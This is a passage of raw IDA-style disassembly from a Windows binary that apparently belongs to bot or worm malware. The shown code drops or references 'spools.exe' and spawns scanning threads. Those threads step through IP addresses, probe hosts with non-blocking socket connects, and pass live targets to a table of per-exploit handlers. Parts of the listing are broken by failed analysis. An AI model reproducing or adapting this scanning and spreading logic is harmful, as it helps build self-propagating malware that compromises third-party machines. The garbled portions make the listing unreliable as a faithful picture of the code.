; ---------------------------------------------------------------------------
loc_40B9A2: ; CODE XREF: sub_40B966+13j
lea eax, [ebp+var_200]
push offset unk_438658
push eax
call sub_41BF36
pop ecx
pop ecx
loc_40B9B5: ; CODE XREF: sub_40B966+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_200]
push eax
call sub_4157A6
add esp, 18h
leave
retn
sub_40B966 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc far ; CODE XREF: .nsp0:0040C297p
var_204 = byte ptr -204h
var_1F0 = dword ptr -1F0h
var_4 = byte ptr -4
arg_C = byte ptr 18h
arg_8C = byte ptr 98h
arg_10C = dword ptr 118h
arg_12C = dword ptr 138h
arg_134 = dword ptr 140h
arg_138 = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_12C]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BEAF
shl eax, 6
xor ebx, ebx
cmp dword_438054[eax], ebx
jz loc_40BEAF
push 5
call sub_40B256
test eax, eax
pop ecx
jnz loc_40BC64
mov eax, dword_429080
push edi
mov esi, offset dword_4D33FC
push 104h
push esi
push ebx
mov dword_4D360C, eax
mov dword_4D3608, ebx
call near ptr 0B40000h
retf
; ---------------------------------------------------------------------------
mov edi, offset aSpools_exe ; "spools.exe"
push 103h
push edi
push offset dword_4D3500
call sub_41BCA0
mov eax, [ebp+arg_10C]
add esp, 0Ch
cmp [ebp+arg_8C], bl
mov dword_4D33F8, eax
mov eax, [ebp+arg_134]
push 7Fh
mov dword_4D3690, eax
jnz short loc_40BA90
lea eax, [ebp+arg_C]
push eax
push offset dword_4D3610
call sub_41BCA0
add esp, 0Ch
mov dword_4D3694, 1
jmp short loc_40BAAA
; ---------------------------------------------------------------------------
loc_40BA90: ; CODE XREF: sub_40B9DD+94j
lea eax, [ebp+arg_8C]
push eax
push offset dword_4D3610
call sub_41BCA0
add esp, 0Ch
mov dword_4D3694, ebx
loc_40BAAA: ; CODE XREF: sub_40B9DD+B1j
push esi
lea eax, [ebp+var_204]
push dword_4D360C
push offset unk_432B28
push eax
call sub_41BF36
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B00E
add esp, 1Ch
mov dword_4D3604, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D33F8
push offset dword_411D98
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, dword_4D3604
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40BB18
loc_40BB06: ; CODE XREF: sub_40B9DD+139j
cmp dword_4D3698, ebx
jnz short loc_40BB33
push 32h
call dword_427064 ; Sleep
jmp short loc_40BB06
; ---------------------------------------------------------------------------
loc_40BB18: ; CODE XREF: sub_40B9DD+127j
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_438798
push eax
call sub_41BF36
add esp, 0Ch
loc_40BB33: ; CODE XREF: sub_40B9DD+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4157A6
mov eax, dword_4D0F20
mov esi, offset dword_4D36A4
mov [esp+1F0h+var_1F0], 104h
push esi
push ebx
mov dword_4D38B4, eax
mov dword_4D38B0, ebx
call near ptr 0B40000h
wait
push 103h
push edi
push offset dword_4D37A8
call sub_41BCA0
mov eax, [ebp+arg_10C]
add esp, 0Ch
cmp [ebp+arg_8C], bl
mov dword_4D36A0, eax
mov eax, [ebp+arg_134]
pop edi
mov dword_4D3938, eax
push 7Fh
jnz short loc_40BBB4
lea eax, [ebp+arg_C]
push eax
push offset dword_4D38B8
call sub_41BCA0
add esp, 0Ch
mov dword_4D393C, 1
jmp short loc_40BBCE
; ---------------------------------------------------------------------------
loc_40BBB4: ; CODE XREF: sub_40B9DD+1B8j
lea eax, [ebp+arg_8C]
push eax
push offset dword_4D38B8
call sub_41BCA0
add esp, 0Ch
mov dword_4D393C, ebx
loc_40BBCE: ; CODE XREF: sub_40B9DD+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4D38B4
push offset unk_438764
push eax
call sub_41BF36
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B00E
add esp, 1Ch
mov dword_4D38AC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D36A0
push offset sub_40F168
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, dword_4D38AC
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40BC3C
loc_40BC2A: ; CODE XREF: sub_40B9DD+25Dj
cmp dword_4D3940, ebx
jnz short loc_40BC57
push 32h
call dword_427064 ; Sleep
jmp short loc_40BC2A
; ---------------------------------------------------------------------------
loc_40BC3C: ; CODE XREF: sub_40B9DD+24Bj
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_438730
push eax
call sub_41BF36
add esp, 0Ch
loc_40BC57: ; CODE XREF: sub_40B9DD+253j
lea eax, [ebp+var_204]
push eax
call sub_4157A6
pop ecx
loc_40BC64: ; CODE XREF: sub_40B9DD+35j
mov eax, [ebp+arg_12C]
mov ecx, eax
shl ecx, 6
cmp dword_43805C[ecx], ebx
jz loc_40BD8D
push 7
call sub_40B256
test eax, eax
pop ecx
jnz loc_40BD87
mov eax, dword_4D3F3C
cmp [ebp+arg_8C], bl
mov dword_4D3364, eax
mov eax, [ebp+arg_10C]
mov dword_4D3358, eax
mov eax, [ebp+arg_134]
mov dword_4D3360, ebx
mov dword_4D33E8, eax
push 7Fh
jnz short loc_40BCD8
lea eax, [ebp+arg_C]
push eax
push offset dword_4D3368
call sub_41BCA0
add esp, 0Ch
mov dword_4D33EC, 1
jmp short loc_40BCF2
; ---------------------------------------------------------------------------
loc_40BCD8: ; CODE XREF: sub_40B9DD+2DCj
lea eax, [ebp+arg_8C]
push eax
push offset dword_4D3368
call sub_41BCA0
add esp, 0Ch
mov dword_4D33EC, ebx
loc_40BCF2: ; CODE XREF: sub_40B9DD+2F9j
push dword_4D3364
lea eax, [ebp+var_204]
push offset unk_438700
push eax
call sub_41BF36
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B00E
add esp, 18h
mov dword_4D335C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D3358
push offset word_40EEC6
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, dword_4D335C
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40BD5F
loc_40BD4D: ; CODE XREF: sub_40B9DD+380j
cmp dword_4D33F0, ebx
jnz short loc_40BD7A
push 32h
call dword_427064 ; Sleep
jmp short loc_40BD4D
; ---------------------------------------------------------------------------
loc_40BD5F: ; CODE XREF: sub_40B9DD+36Ej
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4386C8
push eax
call sub_41BF36
add esp, 0Ch
loc_40BD7A: ; CODE XREF: sub_40B9DD+376j
lea eax, [ebp+var_204]
push eax
call sub_4157A6
pop ecx
loc_40BD87: ; CODE XREF: sub_40B9DD+2A8j
mov eax, [ebp+arg_12C]
loc_40BD8D: ; CODE XREF: sub_40B9DD+298j
shl eax, 6
cmp dword_438058[eax], ebx
jz loc_40BEAF
push 3
call sub_40B256
test eax, eax
pop ecx
jnz loc_40BEAF
mov esi, offset dword_4D3BD4
push 104h
push esi
push ebx
call near ptr 0B40000h
inc eax
push 5Ch
push esi
call sub_41C4E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BDCE
mov [eax], bl
loc_40BDCE: ; CODE XREF: sub_40B9DD+3EDj
mov eax, dword_4D108C
mov dword_4D3CEC, ebx
mov dword_4D3CD8, eax
lea eax, [ebp+arg_C]
push eax
push offset dword_4D394C
call sub_41BF36
mov eax, [ebp+arg_10C]
pop ecx
pop ecx
mov dword_4D3948, eax
mov ecx, [ebp+arg_134]
push esi
push dword_4D3CD8
mov dword_4D3CE4, ecx
mov ecx, [ebp+arg_138]
push eax
mov dword_4D3CE8, ecx
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_432AB0
push eax
call sub_41BF36
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B00E
add esp, 20h
mov dword_4D3CE0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D3948
push offset sub_40F891
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, dword_4D3CE0
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40BE87
loc_40BE75: ; CODE XREF: sub_40B9DD+4A8j
cmp dword_4D3CF4, ebx
jnz short loc_40BEA2
push 32h
call dword_427064 ; Sleep
jmp short loc_40BE75
; ---------------------------------------------------------------------------
loc_40BE87: ; CODE XREF: sub_40B9DD+496j
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_438694
push eax
call sub_41BF36
add esp, 0Ch
loc_40BEA2: ; CODE XREF: sub_40B9DD+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4157A6
pop ecx
loc_40BEAF: ; CODE XREF: sub_40B9DD+14j
; sub_40B9DD+25j ...
pop esi
pop ebx
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEB3 proc near ; CODE XREF: sub_40C034:loc_40C0A5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4D1340h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
push [ebp+arg_0]
call dword_4D1118 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4D11EC ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call near ptr sub_41C9B0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BEB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEFB proc near ; CODE XREF: sub_40C034+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B890
cmp eax, 0Fh
pop ecx
jbe short loc_40BF23
xor eax, eax
jmp short loc_40BF94
; ---------------------------------------------------------------------------
loc_40BF23: ; CODE XREF: sub_40BEFB+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE5
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40BF50
call sub_41BF92
mov [ebp+var_C], eax
loc_40BF50: ; CODE XREF: sub_40BEFB+4Bj
cmp [ebp+var_8], esi
jnz short loc_40BF5D
call sub_41BF92
mov [ebp+var_8], eax
loc_40BF5D: ; CODE XREF: sub_40BEFB+58j
cmp [ebp+var_4], esi
jnz short loc_40BF6A
call sub_41BF92
mov [ebp+var_4], eax
loc_40BF6A: ; CODE XREF: sub_40BEFB+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40BF76
call sub_41BF92
loc_40BF76: ; CODE XREF: sub_40BEFB+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4D1340[ecx*8], eax
loc_40BF94: ; CODE XREF: sub_40BEFB+26j
pop esi
leave
retn
sub_40BEFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF97 proc near ; CODE XREF: .nsp0:0040B80Ep
; sub_40C034+B8p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4D1270 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40BFC0
xor eax, eax
jmp short loc_40C02F
; ---------------------------------------------------------------------------
loc_40BFC0: ; CODE XREF: sub_40BF97+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4D11F0 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4D128C ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4D1198 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4D11D8 ; select
push esi
mov edi, eax
call dword_4D1288 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C02F: ; CODE XREF: sub_40BF97+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40BF97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C034 proc near ; DATA XREF: .nsp0:0040C383o
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C07B: ; CODE XREF: sub_40C034+200j
mov eax, dword_444124[ebx]
cmp dword_4D1344[eax*8], 0
jz loc_40C239
cmp [ebp+var_10], 0
push eax
jz short loc_40C0A5
lea eax, [ebp+var_150]
push eax
call sub_40BEFB
pop ecx
jmp short loc_40C0AA
; ---------------------------------------------------------------------------
loc_40C0A5: ; CODE XREF: sub_40C034+60j
call sub_40BEB3
loc_40C0AA: ; CODE XREF: sub_40C034+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_444124[ebx]
push [ebp+var_3C]
push edi
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4387F4
push eax
call sub_41BF36
lea eax, [ebp+var_28C]
push eax
lea eax, dword_443F20[ebx]
push eax
call sub_41BF36
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40BF97
add esp, 2Ch
cmp eax, 1
jnz loc_40C229
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C17E
push offset dword_4D3340
call dword_4270D4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4387CC
push eax
call sub_41BF36
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C160
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C154
lea eax, [ebp+var_140]
loc_40C154: ; CODE XREF: sub_40C034+118j
push eax
push [ebp+var_40]
call sub_4099D2
add esp, 14h
loc_40C160: ; CODE XREF: sub_40C034+FDj
lea eax, [ebp+var_28C]
push eax
call sub_4157A6
mov [esp+2A8h+var_2A8], offset dword_4D3340
call dword_4270D0 ; RtlLeaveCriticalSection
jmp loc_40C229
; ---------------------------------------------------------------------------
loc_40C17E: ; CODE XREF: sub_40C034+CDj
push edi
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41BF36
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41BF36
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40C1C2
lea eax, [ebp+var_140]
loc_40C1C2: ; CODE XREF: sub_40C034+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41BF36
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43804C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C229: ; CODE XREF: sub_40C034+C3j
; sub_40C034+145j
push 7D0h
call dword_427064 ; Sleep
jmp loc_40C07B
; ---------------------------------------------------------------------------
loc_40C239: ; CODE XREF: sub_40C034+55j
push esi
call sub_40B32A
pop ecx
push 0
call near ptr 0B40000h
loc_40C247: ; DATA XREF: .nsp0:00403A4Fo
; .nsp0:004076ABo
mov ebx, 81EC8B55h
sub_40C034 endp ; sp-analysis failed
in al, dx
int 3 ; Trap to Debugger
add [eax], eax
add [ebx+56530845h], cl
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp-14Ch]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp-14Ch]
push eax
call dword_4D1230 ; inet_addr
mov ecx, [ebp-2Ch]
sub esp, 14Ch
lea esi, [ebp-14Ch]
push 53h
mov dword_4D1340[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call near ptr sub_40B9DD
push 0Bh
call sub_40B256
add esp, 150h
cmp eax, ebx
jnz short loc_40C316
mov esi, offset dword_4D3340
push esi
call dword_4270DC ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4270D8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C316
lea eax, [ebp-1CCh]
push offset unk_4388D8
push eax
call sub_41BF36
xor ebx, ebx
pop ecx
cmp [ebp-10h], ebx
pop ecx
jnz short loc_40C300
push ebx
lea eax, [ebp-1CCh]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-3Ch]
call sub_4099D2
add esp, 14h
loc_40C300: ; CODE XREF: .nsp0:0040C2E1j
lea eax, [ebp-1CCh]
push eax
call sub_4157A6
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C316: ; CODE XREF: .nsp0:0040C2ABj
; .nsp0:0040C2C7j
mov eax, [ebp-2Ch]
mov esi, dword_427064
mov edi, ebx
mov dword_4D1344[eax*8], ebx
xor ebx, ebx
cmp dword ptr [ebp-20h], 1
jb loc_40C3E3
loc_40C334: ; CODE XREF: .nsp0:0040C3DDj
push edi
lea eax, [ebp-14Ch]
push dword ptr [ebp-2Ch]
mov [ebp-24h], edi
push dword ptr [ebp-38h]
push eax
lea eax, [ebp-1CCh]
push offset unk_4388A4
push eax
call sub_41BF36
push ebx
lea eax, [ebp-1CCh]
push 0Bh
push eax
call sub_40B00E
mov [ebp-28h], eax
imul eax, 234h
mov ecx, [ebp-2Ch]
add esp, 24h
mov dword_444124[eax], ecx
lea eax, [ebp-14Ch]
push ebx
push ebx
push eax
push offset sub_40C034
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-28h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40C3AE
loc_40C3A3: ; CODE XREF: .nsp0:0040C3ACj
cmp [ebp-4], ebx
jnz short loc_40C3D5
push 1Eh
call esi ; dword_427064
jmp short loc_40C3A3
; ---------------------------------------------------------------------------
loc_40C3AE: ; CODE XREF: .nsp0:0040C3A1j
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-1CCh]
push offset unk_43886C
push eax
call sub_41BF36
lea eax, [ebp-1CCh]
push eax
call sub_4157A6
add esp, 10h
loc_40C3D5: ; CODE XREF: .nsp0:0040C3A6j
push 1Eh
call esi ; dword_427064
inc edi
cmp edi, [ebp-20h]
jbe loc_40C334
loc_40C3E3: ; CODE XREF: .nsp0:0040C32Ej
cmp [ebp-30h], ebx
jz loc_40C48D
mov eax, [ebp-30h]
imul eax, 0EA60h
push eax
call esi ; dword_427064
loc_40C3F8: ; CODE XREF: .nsp0:0040C498j
push dword ptr [ebp-30h]
mov eax, [ebp-2Ch]
push dword ptr [ebp-38h]
mov eax, dword_4D1340[eax*8]
push eax
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-1CCh]
push offset unk_43882C
push eax
call sub_41BF36
add esp, 14h
cmp [ebp-10h], ebx
jnz short loc_40C446
push ebx
lea eax, [ebp-1CCh]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-3Ch]
call sub_4099D2
add esp, 14h
loc_40C446: ; CODE XREF: .nsp0:0040C427j
lea eax, [ebp-1CCh]
push eax
call sub_4157A6
mov eax, [ebp-2Ch]
mov dword ptr [esp], 0BB8h
mov dword_4D1344[eax*8], ebx
call esi ; dword_427064
push 0Bh
call sub_40B256
cmp eax, 1
pop ecx
jnz short loc_40C47D
push offset dword_4D3340
call dword_4270DC ; RtlDeleteCriticalSection
loc_40C47D: ; CODE XREF: .nsp0:0040C470j
push dword ptr [ebp-2Ch]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
pop eax
loc_40C48D: ; CODE XREF: .nsp0:0040C3E6j
; .nsp0:0040C4A5j
mov eax, [ebp-2Ch]
cmp dword_4D1344[eax*8], 1
jnz loc_40C3F8
push 7D0h
call esi ; dword_427064
jmp short loc_40C48D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C4A7 proc near ; DATA XREF: sub_40C574+7Bo
; sub_40C665+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4D11F0 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4D1270 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C565
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4D1198 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_44412C[ecx], esi
jz short loc_40C565
push [ebp+var_38]
push [ebp+var_28]
call dword_4D127C ; inet_ntoa
push eax
mov edi, offset dword_4D3D04
push offset unk_43890C
push edi
call sub_41BF36
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_4099D2
push edi
call sub_4157A6
add esp, 28h
loc_40C565: ; CODE XREF: sub_40C4A7+5Dj
; sub_40C4A7+7Ej
push esi
call dword_4D1288 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C4A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C574 proc near ; DATA XREF: .nsp0:00407A9Bo
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_427064
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C5A2: ; CODE XREF: sub_40C574+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_438934
push eax
call sub_41BF36
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_443F20
push eax
call sub_41BCA0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C4A7
push edi
push edi
call dword_42707C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C60E
loc_40C603: ; CODE XREF: sub_40C574+98j
cmp [ebp+var_C], edi
jnz short loc_40C60E
push 32h
call esi ; dword_427064
jmp short loc_40C603
; ---------------------------------------------------------------------------
loc_40C60E: ; CODE XREF: sub_40C574+8Dj
; sub_40C574+92j
push [ebp+var_4]
call dword_42706C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; dword_427064
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
push [ebp+arg_0]
call dword_4D1118 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4D11EC ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
jmp loc_40C5A2
sub_40C574 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C665 proc near ; DATA XREF: .nsp0:004077B1o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_427064
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C693: ; CODE XREF: sub_40C665+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_438988
push eax
call sub_41BF36
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_443F20
push eax
call sub_41BCA0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C4A7
push edi
push edi
call dword_42707C ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40C6FF
loc_40C6F4: ; CODE XREF: sub_40C665+98j
cmp [ebp+var_8], edi
jnz short loc_40C6FF
push 32h
call esi ; dword_427064
jmp short loc_40C6F4
; ---------------------------------------------------------------------------
loc_40C6FF: ; CODE XREF: sub_40C665+8Dj
; sub_40C665+92j
push [ebp+arg_0]
call dword_42706C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; dword_427064
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40C726
inc [ebp+var_2C]
jmp loc_40C693
; ---------------------------------------------------------------------------
loc_40C726: ; CODE XREF: sub_40C665+B7j
push [ebp+var_1C]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_43895C
push eax
call sub_41BF36
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_4099D2
push [ebp+var_20]
call sub_40B32A
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40C665 endp
; =============== S U B R O U T I N E =======================================
sub_40C772 proc near ; CODE XREF: sub_40C9E6+Ep
; sub_40C9E6+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C772 endp
; =============== S U B R O U T I N E =======================================
sub_40C77C proc near ; CODE XREF: sub_40C9E6+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
